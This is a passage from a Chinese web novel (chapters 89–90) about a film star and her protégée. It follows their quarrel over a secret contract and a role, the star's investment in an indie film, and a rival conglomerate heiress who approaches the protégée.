“不多聊了，我找我的爱徒还有事要聊。”苏寄欢没有多费口舌，一手揽过祝星亦的腰往电梯走去。 晏瑾年踩着高跟鞋跟着走了两步，愠怒道：“演不了主角就巴巴求着别人来做监制，死都要缠着这个剧组，你未免也太可笑了。” 苏寄欢顿住脚步，她侧了下清隽挺拔的身子，嘴角淡然一扬，“花5000万进组，和被特邀进组，呃，难评哦。” 晚八点，车驶向[苏盛文化］大厦。 进电梯去顶层，员工们早已下班。 苏寄欢打开自己办公室的门，一声不吭地稍稍整理着东西，然后在方桌处坐下煮茶。 茶烧着，祝星亦还在屋子里站着。 苏寄欢有些疲惫地靠在椅子上，轻声喊着：“来坐。” 祝星亦捏着手指走过去站在苏寄欢对面。 许久，她低着头坐下。 淡淡的果香味蔓延在这个空间里。 她一动不动，一声不吭。 乌黑浓密的发垂在胸前，稍稍垂着的眼看不清任何情绪。局促放在腿上的手似乎在抖动着，连带着那具身子也在颤抖。 看着这样的祝星亦，苏寄欢皱着眉头叹口气。 抿着唇，苏寄欢抬起一只手臂放在桌上，轻声开口：“现在，跟我解释吧。” 第89章 你以为我会永远包容你吗？ “对不起。” “你跟我说过多少次对不起，有数过吗？”苏寄欢听这三个字已经听腻了。 没人喜欢被背叛和被欺骗，更不会容忍最在意的人这样对自己。 更何况，这已经不是第一次了。 更何况，祝星亦再一次因为晏瑾年那个女人这样对她。 似乎一旦牵扯晏瑾年，祝星亦都会把天平往晏瑾年身上倾斜。 上一次是隐瞒去综艺，这一次是隐瞒搭戏。 那么，下一次呢？ 对面的人忽然坐直了身子，用一种近似勇敢直视太阳的表情提高音量：“可是，我没有做错。” 苏寄欢愣住了。 她很好奇前一秒道歉，后一秒又理直气壮地说自己没有错的祝星亦到底在想什么？ 祝星亦是觉得她脾气太好了吗？ 很快，祝星亦双手按在桌面上，声音是前所未有的冷静：“你明明知道我要签艺域，也知道我拿到了安宁这个角色，你为什么不跟我说？” “你是事件的主体，签约也好搭戏也罢，你是第一时间获得消息的人，为什么要由我告知你？”苏寄欢双眼不眨地盯着她。 “为什么非要等我告诉你？” “那你为什么不能主动告诉我？”苏寄欢嗤笑一声，声音冷淡，“主动很难吗？主动说一声很难吗？主动告诉我，你对我隐瞒这件事，主动告诉我，你欺骗了我，背叛了我，这很难吗？嘴巴长你身上又不是长我身上，我凭什么要替你说出来？” 祝星亦攥紧拳头，两条眉跟着拧起，牙好像也在用力，“即便这样，我也没有一点点错。” 苏寄欢目光闪了闪。 没有做错？一点点都没有做错？ 祝星亦仰着脸，倔强地说：“我需要这个角色，我也必须拿到这个剧本。如果只是在毫无水花的影视剧里混，我无法从现有的层级里跳出去。难道我只能拿年度影响力红人吗？难道我只能拿备受关注的女演员吗？” “如果我可以拿瑞林电影节最佳女配角，那我就能拿金穗奖最佳女主角。如果我可以演《外乡人》的安宁，未来我可以演更好的配角，或者更好的主角。” “可我没有丝毫的竞争力去拿下这个角色，三十多个优秀的女演员竞争这个角色，她们之间有很多人拿过大奖，而我是唯一一个没有演过电影的人，我甚至只是一个演艺新人。我屁都不算，我凭什么让ilmeth选我演安宁？我凭什么认为我可以跟那三十多个人竞争？” “容羽珍告诉我，只要我同意和风荇解约，她和风荇的官司会百分百胜诉。我相信艺域，也相信容羽珍说到做到。但我只和艺域签三年约，三年之内我完成艺域给我的kpi，三年后我可以选择续约or离开。但签约的前提是，要和晏瑾年搭戏《外乡人》。” “是，我讨厌晏瑾年，我讨厌风荇，我讨厌容羽珍。” “但——” “我没有任何筹码可以跟别人谈条件，那我为什么要有那么高的道德感？在拥有选择权之前，我必须做一个被选择的人，而我被选择的结果就是要低头、忍耐、退让、顺从。” “如果低头就可以拿下这个角色，如果忍耐就可以拿奖，如果退让就可以一夜升咖，如果顺从就可以换取一片辉煌的前程，我为什么不呢？” “我在朝更广阔的一条路走，我在朝我光辉灿烂的未来走，我何错之有？” “我，没有做错。” 最后一个字落下，房间里的回音久久不散。 铿锵有力的声音，每一个字都掷地有声。 祝星亦说完紧抿着唇，那张桀骜的脸仍旧仰着，似乎没有什么能让她低头。她直视苏寄欢的目光，昔日让她总是慌乱避开的目光，现在却毫不在意了。 四目相对，静谧的房间忽然变成一座砖石砌成的高台，方桌变成对弈的棋盘，一人执白棋，一人执黑棋。 执棋久久未动的苏寄欢被这番话震住了。 除此之外，强烈的恐惧感爬满身上每个角落。 她居然害怕祝星亦。 足够有野心，足够坚定，足够坚韧的祝星亦，让她害怕得瞳孔震颤。 紧接着，祝星亦又说：“是，我对你隐瞒不对，撕毁[签约苏盛］的承诺也不对，但你早就知道我做了什么事，你不也什么都没说吗？” 苏寄欢：“我没有说，你也选择沉默？” 祝星亦：“你的默认不就是给我最好的答案？” 苏寄欢忽然冷笑一声，“你认为沉默就是默认？” 祝星亦依旧仰着脸，“难道不是？” 苏寄欢忽然按着桌子起身，她压着怒意，一脸凉薄漠然地冷声道：“祝、星、亦，你真这么自信？你真觉得你做什么我都会支持你吗？你真觉得我会永远包容你、忍耐你吗？你真觉得你的背叛对我来说不痛不痒吗？” “我是你的什么人我要无条件包容你的错误？我为什么要做你灵魂的出口？我为什么要完全读懂你、理解你？我又为什么要替你思考你的难言之隐？” 厉声的质问后是空洞的死寂。 语言的声调、分贝坍缩成复杂的符号，在空白的墙壁上扭曲。 随后是一阵尖锐的轰鸣，以及漫长的底噪。 语言开始失去形状，一切归于静谧。 然而静谧里流动的不是苍白的文字。 祝星亦紧绷着一张脸，眼神也变得冷厉起来。 高台上的棋盘忽然变成决斗场。 一人执剑，另一人也执剑。 风沙卷过，就这么继续对峙着。 “你在赌？你在试探？”苏寄欢的声音像是从齿缝里挤出来，“你拿什么赌？你又有什么自信觉得你会赌赢？你一次次的试探，又是在试探什么？” 祝星亦几乎是瞬间起身，像苏寄欢那般把桌子拍出声响，她身子往前倾，一字一句地回答：“整整20天，我没有等来你的一句质问和苛责，但今晚，我等来了你担任监制和指导老师的消息。你觉得我在拿什么赌？你觉得我赢了吗？试探？你要明知故问我在试探什么吗？” 原来，彼此都是心知肚明。 一把尖锐的剑就这么刺到苏寄欢胸口处，鲜血瞬间像恒星死亡爆炸般溅射出去。 十根手指屈起，好似要把桌子抓破。很快，被高高悬挂起的东西缓缓松绑，苏寄欢望着眼中带着愤恨、决绝和弹性的恼怒的祝星亦，忽然笑出声。 她辛辛苦苦培养了个什么？ 算了，日后这笔账她会好好清算。 “很好，是你赢了。”苏寄欢咬着唇玩味地睨了祝星亦一眼，平静地坐下，她盯着祝星亦，嘴角轻扯，“在我们彼此沉默的20天里，你早就知道你赢了，是不是？” “直至这一刻，才完全确定。” 苏寄欢挑眉：“听我亲口认输你才要确定？” 祝星亦神色缓了缓，跟着坐下，“沉默不是默认，是你说的。” 苏寄欢被呛了一下。 半晌，苏寄欢垂着眼去倒沏好的茶。 把杯子送到祝星亦面前，苏寄欢冰冷的眸子终于恢复平静。 “你现在已经不稀罕征求我的原谅了？”苏寄欢身子往后靠，目不转睛地盯着祝星亦。 祝星亦仍是一脸倔强：“做错的人才想要征求原谅，我说了，我没有做错。” “你可真是我的爱徒。”苏寄欢握紧拳头，声音僵硬。 祝星亦牵起唇角，“你也是我的好老师。” 天色不早了，苏寄欢觉得自己被气饱了，再聊两句恐怕要被气昏厥过去，等祝星亦喝完茶她便送人回去。 到公寓楼下，踩着昏黄路灯的光忽然站定。 苏寄欢立在原地。 祝星亦思虑许久开口：“我没有别的请求，也不奢望你可以永远包容我、忍耐我，我只希望你可以支持我做的正确的决定。” 苏寄欢扬眉道：“如果你可以把你所认为正确的事做好，那我就支持你。但我想即便我持反对意见，你也会不顾一切地往前冲。” “那倒未必，我有时候还是很听你的话的。” “听话？哈！”苏寄欢忽然夸张地笑了一声。 想到这段时间祝星亦的所作所为，如果苏寄欢不是个忍者，她早就在得知祝星亦偷偷决定签约艺域的那一刻就暴起了好不好？ 还听话？听哪门子的话？ 苏寄欢摇头苦笑，“现在连苏老师都不叫了，是挺听话，听话极了。” 话音刚落，小狐狸扑进怀里。 小狐狸漂亮的脸儿埋进胸口，声音低低的，“对不起，是我错了。我知道我应该去寻求你的帮助，可是我不想说出来去麻烦你为我思考这些东西，我只能选择自己解决。签约艺域进组拍戏，是我最好的解决办法。” “隐瞒你是我不对，我已经想好了你怎么惩罚我，比如解除师徒关系。20天的等待是煎熬的，我做好最糟糕的打算，我做好求着你不要解除关系的准备，可我没想到你会选择进组做监制。” “你失去一个好角色，还要进组给晏瑾年打工，苏老师……这就是你对这件事对处理方式吗？你明明可以骂我，或者逼我不要进组，你却还是……” 听着低落的声音，苏寄欢揉揉她的发，“心疼我了？” “嗯。” 苏寄欢轻笑：“这算是，打个巴掌给个甜枣儿？” “随便你怎么说，就是心疼。” “祝星亦，你真行啊。”苏寄欢搂紧她，下巴放在她硌人的肩上，“算啦，一物降一物。” “你确实降住我了。” 苏寄欢翘着唇角附在她耳边说：“未必是我降你。” 事情总算是解决了，苏寄欢也不想多就着这个话题聊，拍了拍她，说：“长嘴是为了干什么的？是用来有矛盾立刻把话说开的，主动一点怎么了？很丢人吗？没人觉得主动向前走一步就贻笑大方了，你怎么还要去等？你觉得我会怪你主动吗？” 祝星亦声音小小的，“我知道错了，但我确实不擅长这些，我……我害怕。” “害怕什么？” “害怕说出来会被拒绝、嘲笑，会被人视而不见，我害怕得到让我难过的答案，只能选择不说。” 苏寄欢叹气，“可是我不会这样觉得，只要你说出口，哪怕是不合理的东西，只要是你的需求，我都会觉得你非常勇敢。” 非常……勇敢吗？ 抓着衣服的手缓缓收紧，祝星亦咬着唇问：“你真的会觉得我很勇敢，而不是无理取闹吗？不会觉得我事很多吗？” 前世她开的一次次口，统统被否决，被拒绝，被嘲笑。似乎她的意见并不重要，也无人在乎她到底在想什么。 没人会关心养在笼子里的宠物在考虑什么，拴着链子的宠物时间久了就会觉得开口就是羞耻，只能蜷缩着闭上嘴，并随时开启自我防御的姿态。 但是，开口说出自己的想法，就是勇敢，而不是无理取闹吗？只要说出来，就会被人在乎、尊重吗？ “你可以对我抱有‘我会读懂你’的期待，能够读懂弯弯绕绕的你，我会很有成就感。但你要是主动把一些话宣之于口，我也会觉得很惊喜。星星，你不必为[开口］感到[窘迫］[低人一等］，我会永远站在你面前回应你的每个字句。”苏寄欢松开她，认真看着她的眼睛。 苏寄欢知道很多时候祝星亦都在自我消化一些东西，也知道一些对她而言很重要的话如鲠在喉。 永远都在防御姿态的小狐狸会表达讨厌，但不会表达喜欢。所以她要给出很多正向的反馈，以来揉揉小狐狸的毛发告诉她：没关系的，慢慢来，我等你。 她拉着祝星亦的手，继续说：“刚刚是我说话太重了，因为我真的是气急了，我给你道歉，对不起。” [对不起］一出，祝星亦顿时无比愧疚，嘴巴咕哝了一会儿说：“不是你的错，是我的错。” 苏寄欢垂眼看她，低声说：“你可以一直试探我，我会等你到你真正地毫无保留的那一天。这次，下次，每一次，你都可以试探我。但我更希望，你可以快一点勇敢起来，可以吗？因为我更想要你能够掌握主动权，所以，答应我，快点勇敢起来好不好？” 祝星亦低着头一言不发。 苏寄欢正要再说什么，祝星亦忽然踮脚亲了一下她的脸颊。 温温热的唇，蜻蜓点水般。 苏寄欢愣了许久，旋即冲祝星亦勾唇笑了下，眸子亮晶晶的。 祝星亦欲要转身跑开，苏寄欢拉住她的手，含笑问：“要你说话，你怎么亲我？” 祝星亦慌忙避开她的眼，“我长嘴了，长嘴除了开口……也可以亲吻别人。再说，我主动了。” 真是诡辩。 大手包裹住小手，苏寄欢把她往自己跟前儿拉进点儿，低眸问了一个尖锐的问题，“剧播完这么久了，已经不需要卖cp了，怎么还要亲我？” “我……” “到底为什么？说来听听。”苏寄欢把她圈在怀里，直勾勾看着她。 “我……”柚子花香几乎要把人迷晕，祝星亦涨红着脸把手抽出来往公寓跑了几步。 她停在前一个路灯下，站了一会儿转过身子说：“讨厌你。” 说完，拔腿就跑。 苏寄欢抱着臂站在原地，等了会儿，一个小脑袋从远处探了出来，那只小狐狸喊道：“那个，晚安。” 苏寄欢轻挑眉头，回了句：“晚安。” /// “《予风说》？”苏芙听到这个剧整个人呆住了。 前些天她还刷到关于这部小说的吐槽，怎么祝星亦要演这个剧了？ 苏芙查看了一下立项消息，发现艺域真的拍这个ip，身子一歪倒在椅子上。怎么这种纯虐女小说也能拍剧啊，全文除了让那个蝻宝爽到了还有什么？蝻宝妈作者还吐槽女主付出不够多。 苏芙拍着桌子询问苏寄欢：“你这整天是要干啥啊，星星接这个剧的时候你没给她把控吗？这个怎么拍啊？就算拍了，这个剧以后就是她的黑历史！” 苏寄欢快速在电脑上回复了一条消息，瞄了眼一脸困惑的苏芙，轻声说：“你怎么就知道这个剧会按原著拍？” “这剧本再改能改成什么样？” 又有消息过来，苏寄欢回复了两句，先把笔记本放在一旁。 她正色道：“你看，你这就不了解星星了。” 又是这套说辞。 苏芙身子往后一靠，她倒是要听听苏寄欢为她那个乖徒找什么理由。 苏寄欢耐心跟苏芙解释：“首先，她不是那种愿意演憋屈角色的人；其次，和她搭戏的人是容羽珍很心仪的男艺人，她多次跟我说过容羽珍有多偏心那个男团；最后，她和容羽珍商量过，如果非要她演《予风说》，她必须亲自和编剧一起改编剧本。” 苏芙顿时直起身子，眼都瞪圆了，“她要参与改编剧本？你怎么把这个也教给她了？” 三姨苏洁是专业编剧出身，苏寄欢自小耳濡目染，苏洁时常会给苏寄欢上课，要苏寄欢掌握一些相关能力。所以很多时候苏寄欢去改剧本，都没什么异议。 况且内娱的很多编剧都水得不行，遇到水平差劲的编剧，苏寄欢上手使点力，也是能给整个剧本增色不少。 但……祝星亦？ 她才演戏多久就开始掺和剧本的事，改得好了是好事一桩，改得不好……那不得被观众骂得狗血淋头？而且这部小说本就有争议，再怎么改也是一坨答辩啊。 苏寄欢知道苏芙的顾虑，初初她也担心得不行，可祝星亦铁了心的要亲自参与改编，她便放手让祝星亦去做。 “你不怕这部剧会变成笑柄？”苏芙很是担忧。 苏寄欢叹道：“怕，但我还是选择相信她。” “这是她的第一部女主剧，她可赌不起。” 苏寄欢沉默了许久道：“这部剧拍摄时间短，听说40天就能拍完。效果好的话，就算赚到了，但如果真要是一部糟糕的作品，顶多是浪费40天的时间。” 苏芙知道怎么也改变不了祝星亦的想法，只好叹道：“你真是很会惯着她。” “她是我的学生，我不惯着她谁惯着她？” 苏芙一副看破一切的表情嘁了一声。 什么学生老师的，分明已经有了大问题。 “后天跟我一起去吃个饭。”苏寄欢看了下日期说。 苏芙问：“就咱俩吗？” “肯定不是，我犯不着跑到外面餐厅跟你吃顿饭。” 苏芙翻了个白眼：“呵呵。那是跟谁？” “路露和彭梦。” /// 路露开着比亚迪宋驶向商业广场附近的停车场，下车后核对地址，她站在车旁抬手数楼层。 “36、37……”数到第42层，路露便不再数了，她深吸一口气，跟彭梦说：“梦梦，我还没在这么高的餐厅里吃过饭呢。” 彭梦把笔记本从座位上拿出来，再次检查桌面上的文件夹，问：“你东西都带齐了吧？几个片子都拷上去了没。” “放心，都拷上去了。” 进广场坐电梯，看着缓缓变化的楼层数，路露失神地说：“我长那么大第一次见这么大的腕儿，还是大腕儿主动邀请我，我都不敢相信。” 彭梦戴着耳机检查片子，没仔细听路露到底说了什么。 路露对着反光的墙整理头发，她来前专门到理发店坐了100块的造型，还去隔壁化妆店化了88块的妆。 苏寄欢请她吃饭诶！苏寄欢诶！！国际影后苏寄欢啊！！！ 路露扒拉着彭梦的胳膊满脸期待地说：“你说苏小姐是不是……想要演稚茗或者青泠？不会吧，这么大的腕儿来演我的电影？！不是吧！这不是做梦吧！” 回想搞艺术的几年，路露找的演员要么是素人，要么就是自己的同学，有时候还要自己出演一些炮灰角色。投资是厚脸皮求来的，后期是她一起帮忙制作的，有时候还要自己唱插曲。 虽然在各大电影节获得了一些奖项，但那些作品都是些短片，想要上映长片作品可没那么简单。 她拍的都是文艺片，文艺片嘛，叫好不叫座，她又不是拍了什么惊世大作，圈子里也也没什么人脉，根本没人愿意投资她拍长片。 到现在她都没求来几个赞助，前段时间她半夜梦到自己这个片子的拍摄打水漂，她大哭着上了吊，边上吊边哭喊：“上辈子杀人放火，这辈子搞艺术啊！” 哭着哭着哭醒了，坐在出租屋的小床上，她再次大喊：“上辈子杀人放火，这辈子搞艺术啊！” 没想到隔几天苏寄欢就联系了她，她不知道苏寄欢要干什么，但既然找她，肯定有好事！绝对的！ 彭梦摘下耳机，她扬起那张厌世脸冰冷地开口：“她来出演？把咱们两个卖了都请不起她好不好？” 路露的幻想破灭，是啊，把她们两个卖了都请不起苏寄欢。 到达指定餐厅门口，路露夸张地哇哦一声。 这么漂亮的餐厅，得来个十连拍。 “快进去。”彭梦抱着电脑拉着正在拍live图的路露进去。 没想到苏寄欢和苏芙已经到了，路露慌里慌张跑过去不好意思道：“苏小姐不好意思！我们来得太晚了。” 苏寄欢起身道：“我们也刚到。” 她伸出手，“你好，路导。” 路露看着那只手，整个人都呆住了。 什么？苏寄欢要跟她握手？？ 彭梦见路露一动不动，一个闪电肘击肘醒了她。 “苏小姐，你好你好你好。”路露激动地握着苏寄欢的手，把苏寄欢握得直咬牙。 好大的手劲儿啊，跟小狐狸有得一拼。 “你好，彭编。” “你好，苏小姐。” 落座点菜，等待期间，路露主动开口：“不知道苏小姐找我们来有什么事？” 彭梦咳了一声。 路露这才想起应该来个自我介绍，赶忙拿起彭梦腿上的笔记本说：“哦哦，我们两个先来个自我介绍。这里是……” “不用了二位，你们的作品我已经看过了。”苏寄欢淡声道，“长话短说，听说你们最近在筹备《夏影》，不知道你们筹备得怎么样了。” 路露关上笔记本呲着大牙笑说：“说起《夏影》的筹备，那真是，一筹莫展。我们除了有剧本和拍摄器材以及几个塞牙缝的赞助，啥都没有。” 彭梦悲哀地捂着脸。 来之前特意嘱咐路露要稍稍摆出一点文艺工作者的傲骨，怎么苏小姐什么都没说，这人就把惨淡的团队抖了出来？ 餐*桌一片沉寂。 苏寄欢愕然。 这等于什么都没有，那……小狐狸为什么看上了这个团队？再看路露这没心没肺的模样……这样的人能拍出和《布达佩斯大饭店》一样的片子吗？ 彭梦赶忙出来挽尊：“是这样的苏小姐，我们目前还在招商中，但是本子已经磨好了。不知道您找我们来有什么事要商谈。” 苏寄欢也不多扯题外话，即便她不太相信路露能拍出《布达佩斯大饭店》风格的电影，她还是要把今天要谈的事谈了。 祝星亦想要出演《夏影》，《外乡人》明年拍，《予风说》剧本磨好可以直接拍摄，40天就能拍完。如果可以快点推《夏影》，祝星亦就可以《予风说》杀青进组《夏影》，《夏影》杀青进组《外乡人》。 除了拍摄这些大大小小的影视，祝星亦还有很多线上线下通告要赶。而且容羽珍不知道什么时候又给祝星亦安排新的通告，如以此来太过操劳。 苏寄欢很怕祝星亦撑不下去，但祝星亦说，容羽珍这样安排只是想要她松口三年后解约的事，逼着她和容羽珍签更长时间的合同。如果她认输，真的要卖身给容羽珍。 苏寄欢无奈，只能给祝星亦帮点小忙，比如投资《夏影》。 苏寄欢给路露看投资金额。 路露探头看那个数字，看了三秒，忽然翻了个白眼。 砰的一声，路露的身子砸在地面上。 她晕厥了。 “路导！”苏寄欢和苏芙慌了。 这啥啊，这人这么抽象吗？ 周围的人起身过来查看路露情况，纷纷表达关心。 彭梦大惊失色地起身跪在地上掐路露人中。 这个路露！！怎么能这么丢人啊！ 丢死人了啊！ 掐了好久人中，路露终于苏醒过来。 彭梦一言难尽地把路露扶到椅子上，给路露灌水，路露缓了一会儿清醒不少。 苏寄欢扶额。 不儿，这个人真的靠谱吗？ 看路露脸色好了会儿，苏寄欢继续说：“这是我第一次投资电影，所以我想申请担任本片的出品人，并会再寻找几位业界人士一起担任联合出品方，主角稚茗一角，我想指定我的学生祝星亦来演。” 路露以为自己出现幻听了。 出品人？苏寄欢来做出品人？出钱的大大大大姥？ 祝星亦演主角？那个冠军爱豆，最近又火得不要不要的流量小花，祝星亦？演主角？ 这是梦吧？这真的是梦吧？路露心跳加速，呼吸也急促起来。 不对，这不是梦。 梦里她筹备失败上吊了，现在超级资方大姥正在跟她谈投资的事！ 苏寄欢看路露脸色不对劲，关心道：“路导，你觉得如何？” 路露一句话也没说，她翻了个白眼，又倒在地上。 “路露！”彭梦再一次掐路露人中。 苏寄欢攥紧拳头。 她真的非要投资不可吗？ 第90章 魔鬼的交易 路露缓了好久才接受这个现实。 彭梦觉得她太丢人了，只好耐着性子跟苏寄欢详谈这件事。 “晚点我会差人给你们这边发一份资料，你们考虑一下。”苏寄欢揉揉太阳穴，她现在没得选择，除了接受还是接受。 “好，麻烦苏小姐了。”彭梦颔首。 晚点回去，苏寄欢走出商场深吸一口气。 苏芙探过身子眉毛隆起来，幽幽道：“这就是你带我见的大人物？真是好——大——的人物啊……” “先等她们的消息，回去吧。”苏寄欢心里也没什么底儿。 晚九点的麓城车水马龙，车堵一路，苏芙有点烦躁，按了两下喇叭转头问：“说真的，你是要转型到幕后吗？又是监制又是出品人，年前你又没什么行程，要息影了？” “我总要休息休息。” “这么年轻你就要躺啦？”苏芙大惊，“你才多大就想着休息，你看看你爱徒，又是拍剧又是改剧本，又是回归舞台又是参演大制作，你呢你呢你呢？你要转幕后不说，连个剧也不拍了。” 苏寄欢没否认这些，身子歪在一侧淡声说：“你知道晏璟霖最近回来了吗？” 苏芙听到这个名字一惊，“怎么了？” “她最近收了晏瑾年手上关于[晏影］的股份，晏瑾年投资《外乡人》和艺域，和晏璟霖脱不了关系。” 苏芙登时愣住了。 晏璟霖目前是[晏氏集团］的执行总裁，等其母晏珂完全退休，庞大的[晏氏］就是晏璟霖的。 晏瑾年能在圈子里混那么开，无非是仗着庞大的[晏氏］横行霸道。但若晏璟霖不给晏瑾年机会，晏瑾年也没有那么大的本事。 每每想到晏珂，妈妈苏菱都要叹晏珂好手段，也对晏珂憎恶极了。 一个女儿管理家族产业，一个女儿在娱乐圈挣名声，不光可以对[晏氏］灰色产业进行合法包装，还能掩护资金流动。 难以追踪的黑色链条，非法资金的投资，在这个资金密集的娱乐圈里，一切嫌疑都可以被洗得干干净净，更能和其他同流合污的虎狼联手合作，免去外界的关注和怀疑。 在一个圈子里，站队不站队，站对站不对，极其重要。稍有不慎，便会被联合排挤，甚至会被害得倾家荡产，甚至丧失性命。 这种手段太简单，太儿科。 可偏偏就是这样简单的手段，当年害得苏寄欢…… 苏寄欢知道那些证据早就被销毁得一干二净，也因为那是幼时发生的事，她早就已经不在意。毕竟现在她长大了，新的战争已然开始。 只是苏菱从来都没有忘记过那些屈辱。 可晏璟霖手段非常，她害过的人不计其数，有庞大的[晏氏］在，谁又能撼动她们？ 即便能撼动，利益相关，也无一人去趟这趟浑水。 苏芙疑惑：“她收[晏影］的股份干什么？她不得把晏瑾年气死？晏瑾年拿不到[晏氏］的股份，自己的[晏影］还要被晏璟霖收？” “我想，晏璟霖应该想让[晏影］转型，从艺人经纪公司，转为独立的影视公司，对标ilmeth影视。”苏寄欢分析道。 有人在后面按喇叭，苏芙赶忙开车。 苏芙沉思许久：“所以你是打算让……” “对，[苏盛］也到了转型的阶段了。” /// 容羽珍怪是大方，祝星亦跟着改了几版剧本也没见她插嘴。 白澜道是她得了祝星亦这个免费的苦力，还能不大方吗？ 祝星亦心想也是。 九月中旬磨完剧便开拍，新剧本改得更靠近爽文点，本身祝星亦就是顶着骂声出演的，到时候若是播出了又免不了遭一顿骂。 定好的40天拍完，但原著本来就没什么剧情，换了几个棚子就拍得差不多，直到杀青那天，祝星亦数了数时间，不多不少，拍了整整30天。 杀青当晚容羽珍给剧组定了包厢，祝星亦不想耗费精力应付他们，又不得不装作合群的样子。 《予风说》剧组是祝星亦迄今为止话语权最大的剧组，不为什么，单纯是因为容羽珍第一次拍自制剧，拿了别人的投资又不想请太专业的人。 专业和工资挂钩，容羽珍又美其名曰为了锻炼新人，请了一水儿的低水平人来拍，说着大制作，也不知道钱到哪里去了。 祝星亦佩服容羽珍的厚颜无耻，但想一想她想改剧本就改了，便闭上小嘴巴。 玩到一半，容羽珍开门进来。大家对着容羽珍的臭脚一顿乱舔，容羽珍跟祝星亦说了两句话便去找那个姚斯狄热切聊天。 姚斯狄演得那么拉，在剧组里祝星亦没少找他麻烦。喝了一口酒，祝星亦觉得这间屋子臭得很，起身告别离开。 白澜在外面等着，问是不是直接回公寓。 祝星亦去洗手间洗把脸点点头。 脸还没擦净，门口进来个黑裙女人。 祝星亦觉得那张脸眼熟得很，对着镜子多看两眼。 女人随意冲洗了手。 轻轻抬眼，对上祝星亦的目光。 祝星亦赶忙避开，拿出纸巾擦脸上的水珠。 眼睛悄悄一瞄，那女人正在看她。 女人侧了下身子又扫她两眼，离开了洗手间。 祝星亦回忆了好久才想起来那女人是晏璟霖。 晏瑾年的姐姐晏璟霖。 前世祝星亦几乎没有见过晏璟霖，但有听说[晏氏集团］的一些猛料。是真是假祝星亦不清楚，但晏瑾年的姐姐能是什么好玩意儿？ 后脑勺突然有点疼，像是要开裂了。 祝星亦呲牙咧嘴一会儿跟白澜回去。 没过几天容羽珍找到祝星亦。 会议室门关上。 祝星亦以为容羽珍又要她去拍什么戏，投屏一放，她傻了眼。 “你那部《寄明月》也算是吃到cp红利了，所以容总希望《予风说》上映前后，你能和斯狄卖cp。”孙闵莉开口。 祝星亦头皮发麻。 容羽珍打量祝星亦的神情，身子凑近了些，“Stella，你和Dario男帅女靓，如果可以营销cp，我相信一定会比你和苏小姐的火。” 她握上祝星亦的手，一脸温软：“况且，双女主cp总不是长久之计，这对你的发展也有影响。你总不能只和女人演戏吧？想要更好的成绩，就要收获更多cp，不卖多点，你要到哪里收获流量呢？” 话是这么说，但苏寄欢以前从未卖过cp，人家不也是作品优质口碑爆棚？ 祝星亦收回手，没说同意，也没说不同意。 不假思索地持反对意见，对方只会一味地否定。 何况祝星亦现在也没有立刻想出来更好的说辞，只给了个时间让容羽珍等。 不直接给答复等于拒绝，容羽珍没耐心等，但还是耐着性子说：“Stella，你一定要慎重考虑。和风荇的官司我们已经赢了，你过几天正式和我们签约，我们也会给你组建一个工作室，所以在工作上面，我们也希望你能多多配合。” 容羽珍觉得自己对祝星亦足够上心，如果不是因为祝星亦商业价值高，容羽珍懒得为了签约的事儿和其他公司打官司。 前段时间她跟晏瑾年吃了顿饭，聊起祝星亦的事，晏瑾年只说尽量签过来，至少把人牢牢握在艺域手里，省得再经过风荇那道关。 容羽珍点头称是，可其中困难也只有自己知道。但晏瑾年那边给艺域一笔可观的投资，她怎么都要卖晏瑾年一个面子。 不过说来也怪，[晏氏集团］怎么会给艺域投资？晏瑾年还一心想让祝星亦签到艺域，这祝星亦背后到底有什么背景？ 又是苏寄欢，又是晏瑾年，这丫头片子不是家境不好吗？ 容羽珍一直都觉得奇怪，祝星亦明明是从穷山沟沟里出来的，选秀节目上私下里寡言少语，有些内向。可成团之后这女人和往日天差地别，有十足的大明星架势，又很会说话做事，和出道前两模两样。 难不成之前都是装的？一出道就露出真面目了？ “容总你放心，你既然签了我，我肯定是要为咱们艺域多做贡献。公司是我家，你也是我的家人，你于我是知遇之恩，我无论怎样都会配合你们给我安排的工作。”祝星亦弯着眼笑说，“不过我也希望你这边帮我其他队友也……” “Stella～Shinyfive的热度现在很低的，即便你火热得不行，但这个团只有你一个人也是带不起来的。”容羽珍一脸忧愁道，“但我为了你，还是有在给她们资源，毕竟她们是你的队友嘛。你若是努力些，我自然待她们更好。” Shinyfive要是和那个男团有一样的资源，也不会沦落至此。 祝星亦给Shinyfive争了很多资源才扛到现在，要是任容羽珍那偏心劲儿，早就被容羽珍耽误得提前解散。 祝星亦没再说什么，双向画饼再多扯两句就会露馅。 休息两天，白澜抱着电脑给祝星亦带来了一个好消息，《夏影》的导演路露收到了祝星亦投递来的资料，说要线下邀请祝星亦去试镜。 祝星亦没想到路露真的看到她发的资料，确认了几遍还专门打了两通电话。 完全确认后，祝星亦心道自己真够幸运。她还担心路露看不上她这种流量演员，毕竟文艺片导演在选角上追求氛围感，有些人就是天生适合拍文艺片，光是站在那里，身上就有故事感。 等试镜完毕后，路露对祝星亦的评价特别高，当即就要她来演女主。祝星亦高兴得嘴都合不拢，问了几次是不是真的。 路露虽然脸色不对劲，但还是笑着说：“当然是真的，您真的非常适合，您长了一双写满故事的眼睛，很适合演这部片子。” 走出酒店，祝星亦还没跟苏寄欢报喜，路过的宾利停在她面前。 车窗摇下，齐肩发女人偏过头。 金丝框眼镜下是一双深黑的眸，五官轮廓深邃。 车内光线有些昏暗，女人微抿着唇推门，倾身而出。 黑色包臀铅笔裙，深灰色西装外套，黑色尖头高跟鞋。 女人站得笔直，像海上危险的黑雾。 晏璟霖的目光在祝星亦身上停留片刻，从容道：“祝小姐，有空一起吃顿饭吗？” 白澜不认识这人，忙说：“不好意思，请问你是……” “如果今天没空，改日约。”晏璟霖丝毫没有搭理白澜的意思。 一旁的黑西装女人过来递上名片，祝星亦接下看了两眼，再抬眸，人已经坐进车里。 “回见。”晏璟霖挑了下眉，车窗关上。 白澜看着那辆豪车开走，不知道那人到底是谁，接过祝星亦手里的名片才知那人是晏璟霖。 晏氏集团的执行总裁，晏璟霖。 白澜奇怪道：“她怎么会约你吃饭？你们有什么交集吗？” 祝星亦也不知道为何，她与晏璟霖只在洗手间有过一面之缘。 “是关于《外乡人》的事吗？”白澜猜测，晏瑾年投资《外乡人》又邀请祝星亦出演女二号，很难不让人猜测是这个原因。 但是她找祝星亦干什么呢？ 白澜觉得这事有些蹊跷，“星亦，要不你跟容总知会一声，或者跟苏小姐知会一声，这种大人物私下找你肯定不是小事。” 祝星亦觉得没必要事事都跟别人禀告，尤其是容羽珍，她不觉得容羽珍会给自己多么好的解决办法。 至于苏寄欢…… “苏老师和晏氏那边交恶，我不想给她添烦恼，过两天我们先自己去看看到底什么情况。”祝星亦思虑后道。 白澜想了想，还是觉得不妥。 